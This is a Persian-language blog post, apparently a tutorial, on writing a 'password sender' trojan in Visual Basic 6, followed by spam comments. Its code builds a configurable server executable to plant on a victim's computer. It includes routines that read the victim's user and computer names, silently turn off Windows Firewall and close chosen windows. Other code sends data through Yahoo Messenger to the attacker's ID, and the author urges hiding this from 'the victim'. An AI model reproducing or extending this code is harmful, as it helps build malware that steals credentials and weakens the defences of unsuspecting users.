اولا می خوام شما رو با تفاوت بین تروجان و پسورد سندر آشنا کنم. خیلی ها بین این دو تا تفاوت قائل نمی شن در صورتی که درست نیست و این دو از زمین تا آسمون با هم فرق دارن.
پسورد سندر نسبت به تروجان کد نویسی ساده تری داره و اصولا برای این نوشته میشه که یک سری پسورد های خاص رو برای نویسنده ش بفرسته ، مثلا پسورد مسنجرها یا چیزهایی از این قبیل. ولی بک تروجان علاوه براین کارها مهمترین چیزی رو که یک هکر می خواد رو براش میاره یعنی: دسترسی کامل به کامپیوتر قربانی . پس یه تروجان می تونه پسورد سندر و کیلاگر(کی لوگر!!) و خیلی چیزهای دیگه رو هم در خودش داشته باشه. من نمی تونم ادعا کنم که یک تروجان کامل نوشتم ولی پسورد سندری که من نوشتم نسبتا مناسب بود و کارش رو به خوبی انجام می داد( البته اگه ایرادتش رو نگم). پس باید بدونید که هدف من آشنا کردن شما با نحوه ی کد نویسی یک پسورد سندر در وی بی هست
ارتباط بین سرور و ادیت سرور:
خوب کسایی که نمی دونن بدونن که سرور همون فایلی هست که شما به کامپیوتر قربانی واردش می کنید و ادیت سرور تنظیمات این فایل رو انجام می ده. البته پی اس (از این به بعد به پسورد سندر می گم پی اس) هایی هم هستن که بدون ادیت سرور نوشت همی شن و اصولا در اختیار عموم قرار نمی گیرن (مثل کد PS1 در فولدر اصلی مقاله که کار یکی از پی اس نویسای معروف ایران هست و آموزشی هست) ولی خیلی ها دوست دارن پی اس با ادیت سرور بنویسین.
اصولا چند راه هست که این ارتباط رو برقرار کنید و نیازی به قرار دادن سورس سرور در ادیت سرور نیست. من یه راه رو معرفی می کنم که فهمش ساده تر هست و تو پی اس خودم ازش استفاده کردم. (اون راه های دیگه رو اگه دوست داشتید تو فولدر E/S Connection بررسی کنید که سورس کامل Toxic-Ps ، Toxic-Cv، PSGهست .) برای این کار ما به یک Property Bag نیاز داریم که اطلاعاتی که می خوایم تو سرور باشن رو توسط ادیت سرور خیلی راحت توش بذاریم. بعد هم سرور که اجرا شد اون اطلاعات رو می خونه و ازش استفاده می کنه! به همبن راحتی! (گفتن نه نوشتن) این اطلاعات میتونه هر چیزی باشه مثل آدرس ایمیلی که اطلاعات می خواهید به اونجا فرستاد هبشه و ازاین قبیل. خوب من این کدها رو پایین آوردم و می تونید بررسی کنید چجوری اطلاعات تو فایل سرور نوشته و توسط سرور خونده می شوند.
Edit Server:
On Local Error GoTo errTrap
Dim BeginP As Long
Dim Bag As New PropertyBag
Dim Temp As Variant
Dim mahmoud() As Byte
Dim er As String
With Bag
.WriteProperty "id", id.Text
.WriteProperty "force", force.Value
.WriteProperty "dial", dial.Value
.WriteProperty "user", user.Value
.WriteProperty "com", com.Value
.WriteProperty "fire", fire.Value
.WriteProperty "IP", ip.Value
.WriteProperty "image", preview.Image1.Picture
.
.
.
End With
Open App.Path + "\" + "serv.exe" For Binary As #2
mahmoud = LoadResData(101, "CUSTOM")
Put #2, , mahmoud()
Close #2
FileCopy App.Path & "\serv.exe", App.Path & "\" & SrvName.Text
Open App.Path & "\" & SrvName.Text For Binary As #1
BeginP = LOF(1)
Temp = Bag.Contents
Seek #1, LOF(1)
Put #1, , Temp
Put #1, , BeginP
Close #1
Kill App.Path + "\" + "serv.exe"
Exit Sub
errTrap:
MsgBox Err.Description, vbCritical, "Error"
در اینجا تمام اطلاعات در یک Property Bag نوشته می شود و بعد هم می ره داخل سرور!
فقط باید بدونید که من ابتدا ریسورس فایل سرور رو داخل ادیت سرور قرار دادم. برای این کارابتدا از قسمت Add-in Manager ، VB6 Resource Editor رو فغال کنید .بعد رو کلیک کنید . حالا Add Custom Resource رو بزنید و فایل سرور رو انتخاب کنید.می تونید اسم این ریسورس رو هم عوض کنید البته من همون 101 رو به صورت پیشفرض انتخاب کردم.قسمتهایی هم که در کد بالا خط کشیدم مربوط به لود کردن همین ریسورس و تبدیل آن به فایل اجرایی است.
حالا کدهای مربوط به سرور و نحوه ی خوندن اطلاعات رو بررسی می کنیم.
Server:
On Local Error Resume Next
Dim BeginP As Long
Dim Temp As Variant
Dim bArr() As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Get #1, LOF(1) - 3, BeginP
Seek #1, BeginP
Get #1, , Temp
Arr = Temp
Bag.Contents = Arr
Bag.WriteProperty "LOF", LOF(1)
Bag.WriteProperty "BeginPos", BeginPos
Close #1
With Bag
ID.Caption = .ReadProperty("id")
FileNameInstall.Caption = .ReadProperty("filename")
Username.Value = .ReadProperty("user")
Computername.Value = .ReadProperty("com")
Firewall.Value = .ReadProperty("fire")
Rand.Enabled = .ReadProperty("rand")
.
.
End With
ساده بود نه؟ این کارا رو شما هم می تونید انجام بدید. در اینجا اطلاعات از داخل فایل سرور خونده می شود و بر اساس اون مثلا یک تایمر خاص فعال می شود یا یه چیزی مثل این.
خب می ریم سراغ قسمت اصلی که می خواهیم با هم کدهای مخرب رو بنویسیم. این بستگی داره به مهارت برنامه نویسی شما و استعداد شما در این زمینه.چون من هیچ وقت نمی تونم اون چیزی رو که دقیقا شما می خواهید بهتون بدم.پس اینجا با کدهای ساده به صورت دسته بندی شده می ریم جلو که خیلی هاشون تو اکثر پی اس ها استفاده می شن. من اگر بخوام طرز کار همشون رو بهتون خیلی طولانی می شه.پس اینو به خودتون واگذار می کنم. اول تموم توابع API لازم دارید رو به برنامه اضافه کنید تا مشکلی پیش نیاید.
(زیر اسم توابع API خط کشیدم).
_______________________________________
Public Function SysDir() As String
Dim SysPath As String
SysPath = String(255, vbNullChar)
GetSystemDirectory SysPath, 255
SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
برگشتی این تابع مسیری تو مایه های C:\WINDOWS\System32 هست!
_______________________________________
Public Property Get ReadKey(Value As String) As String
Dim B As Object
On Error Resume Next
Set B = CreateObject("wscript.shell")
r = B.RegRead(Value)
ReadKey = r
End Property
با این کد می تونید کلید های درون رجیستری رو بخونید که تو دو تابع بعدی ازشون استفاده کردم.
_______________________________________
Public Sub getuser()
Dim UserString As String
UserString = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName")
User.Text = Username
End Sub
با این روال می تونید یوزر نیم کاربری که به ویندوز لاگین کرده رو بدست بیارید .
_______________________________________
Public Sub getCom()
Dim CompName As String
CompName = ReadKey("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName")
com.Text = CompName
End Sub
با این روال می تونید کامپیوتر نیم قربانی رو بدست بیارید.
_______________________________________
Public Sub fire()
Dim objFireWall As Object
Set objFireWall = CreateObject("HNetCfg.FwMgr")
Set objpolicy = objFireWall.localpolicy.currentprofile
objpolicy.firewallenabled = False
End Sub
این روال تو اکثر پی اس ها استفاده شده ست و می تونه فایروال ویندوز رو غیر فعال کنه!
_______________________________________
Private Sub CheckW()
Dim hwnd As Long
Dim wn As String
wn = Space(255)
hwnd = GetForegroundWindow
Handle.Text = Str(hwnd)
whandle.text= hwnd
GetWindowText hwnd, wn, GetWindowTextLength(hwnd) + 1
title.Text = wn
End Sub
Private sub close()
Dim I as integer
For i=0 to closelist.listCount-1
If closelist.list (i)=title.text then PostMessage whandle, WM_CLOSE, 0&, 0&
Next i
End sub
این دو تا کد با هم کار می کنن.یعنی روال اولی که باید درون یک تایمر باشه، پنجره ی فعال رو تشخیص میده و هندل و عنوان اون رو تو دو تا تکست باکس می ذاره و کد دوم هم هروقت پنجره ی مخصوصی که شما اسمش رو تو Closelist گذاشتید باز بشه، اون پنجره رو می بنده(این بستگی به شما داره که چجوری بخواهید اسامی پنجره ها رو وارد اون لیست باکس کنید.منظورم بر می گرده به قسمت چگونگی طراحی ادیت سرور).
_______________________________________
ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + ID + "&m=" + mess, 0&, App.Path, 0&
این همون کدی هست که باهاش می تونید توسط یاهو مسنجر مسیج برای یک آیدی خاص بفرستید (البته خیلی ابتداییه) .خب بازم این هنر شمایه که چجوری این پیام رو بفرستید که قربانی متوجه نشه. ضمنا بگم در صورتی این کد کارمی کنه که طرف با یاهو لاگین کرده باشه. وگرنه فقط یاهو باز می شه و طرف شک می کنه. همچنین باید بتونید این صفحه رو از دید قربانی مخفی نگه دارید چون همه چی واضح دیده می شه. ببینم چه میکنین!!
××××××××××××××××××××××××××××××××××
یک کد برای ارسال pm به یاهو 8:
کد:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Command1_Click()
ShellExecute Me.hwnd, "open", "ymsgr:sendIM?" + Text1.Text + "&m=" + Text2.Text, 0&, App.Path, 0&
SendKeys "{enter}"
End Sub
***********************************
حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین:
حالت کلی فرستادن pm به یا هو را من با این modul بهتون نشون می دم
دیگه خودتون یکم دستکاریش کنین و تغییرش بدین
Public Declare Function SetForegroundWindow Lib "User32" (ByVal hwnd As Long) As Long
Public Declare Function sndPlaySound Lib "winmm.dll" Alias "sndPlaySoundA" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long
Public Const SND_ASYNC = &H1
Public Declare Function EnableWindow Lib "User32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Public Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "User32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long
Public Declare Function GetMenu Lib "User32" (ByVal hwnd As Long) As Long
Declare Function GetCursorPos Lib "User32" (lpPoint As POINTAPI) As Long
Public Declare Function GetMenuItemID Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function GetMenuString Lib "User32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Public Declare Function GetSubMenu Lib "User32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Declare Function GetWindow Lib "User32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function PostMessage Lib "User32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function SendMessageLong& Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString Lib "User32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function ShowWindow Lib "User32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Const BM_SETCHECK = &HF1
Public Const BM_GETCHECK = &HF0
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Function Escape Lib "gdi32" (ByVal hdc As Long, _
ByVal nEscape As Long, ByVal nCount As Long, lpInData As Any, _
lpOutData As Any) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, _
ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, _
ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, _
ByVal ySrc As Long, ByVal nSrcWidth As Long, _
ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
ByVal hObject As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" _
(ByVal hdc As Long) As Long
Private Declare Function SwapMouseButton& Lib "User32" _
(ByVal bSwap As Long)
Private Declare Function ShowCursor& Lib "User32" _
(ByVal bShow As Long)
Private Const WM_SYSCOMMAND = &H112&
Private Const SC_MONITORPOWER = &HF170&
Dim mousehide As Boolean
Dim fliphorizontal As Boolean, flipvertical As Boolean, thechange 'declare the variables
Dim hIn As Integer
Dim Sending As Boolean, Sending2 As Boolean, stopit As Boolean
Public Const EWX_FORCE = 4
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const CB_GETCOUNT = &H146
Public Const CB_GETLBTEXT = &H148
Public Const CB_SETCURSEL = &H14E
Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5
Public Const LB_GETCOUNT = &H18B
Public Const LB_GETTEXT = &H189
Public Const LB_SETCURSEL = &H186
Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_NORMAL = 1
Public Const SW_SHOW = 5
Public Const VK_SPACE = &H20
Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_MOVE = &HF012
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_SETTEXT = &HC
Public LastPoint As POINTAPI
Public lngTPPY As Long
Public lngTPPX As Long
Type POINTAPI
X As Long
Y As Long
End Type
Sub SendPM(Who As String, Text As String)
'oz RoOzY
'Ex. : call SendPM("ngsp_public_msg","salam")
Dim imclass As Long, editx As Long
imclass = FindWindow("imclass", vbNullString)
editx = FindWindowEx(imclass, 0&, "edit", vbNullString)
Call SendMessageByString(editx, WM_SETTEXT, 0&, Who)
ChatSend (Text)
End Sub
Sub ChatSend(TheText)
Dim imclass As Long
Dim richedit As Long
Dim Button As Long
imclass& = FindWindow("IMClass", vbNullString)
richedit& = FindWindowEx(imclass&, 0&, "RICHEDIT", vbNullString)
Call SendMessageByString(richedit&, WM_SETTEXT, 0&, TheText)
Button& = FindWindowEx(imclass&, 0&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Button& = FindWindowEx(imclass&, Button&, "Button", vbNullString)
Call SendMessageLong(Button&, WM_KEYDOWN, VK_SPACE, 0&)
Call SendMessageLong(Button&, WM_KEYUP, VK_SPACE, 0&)
End Sub
موفق باشی
سلام دوست عزیز وبلاگ باهالی داری امیدوارم موفق بشی.لینک یادت نره
سلام.شما هم وب خوبی داری.
با سلام خدمت مدیر وبلاگ وبازدید کنندگان عزیز آن
این نوشته تبلیغ نیست:
بلکه یک نیاز هست برای کسانی که وبلاگ یا سایت دارند
حتما می پرسید چی؟
جواب این که: کسانی که وبلاگ یا سایت دارند حتما نیاز به بازدید کنندگانی دارند
که از وبلاگ یا سایت آنها دیدن کنند سایت Www.33IR.Com این مشکل را در حد توان
---- بدون فریب وسو استفاده از دیگران---
حل کرده
ثبت دامنه رایگان با پسوند دات کام برای اولین بار در ایران
و افزایش آمار وبسایت شما به صورت جالب بدون انجام کاری و امکانات دیگر
به سایت Www.33IR.Com رفته ودر صفحه اول یک نام برای خود انتخاب کنید
و مراحل را تا آخر بروید
سلام
اینم از امکاناتی مثل : فال حافظ – جک اتفاقی – اس ام اس اتفاقی – قالب های زیبا – نمایشگر مشخصات کاربران – آمارگیر و تعداد افراد آنلاین - نمایشگر جدیدترین خبرهای لحظه ای ایران و جهان و ... برای شما ...
همین الان خودت بیا .http://code-weblog.blogfa.com
بیش از 21000 نفر از این ابزار دارن توی وبلاگهای خودشون استفاده می کنن که تو هم می تونی یکی از کاربران جدید این ابزار رایگان باشی .
ابزار رایگان برای وبلاگها
http://code-weblog.blogfa.com
http://code-weblog.blogsky.com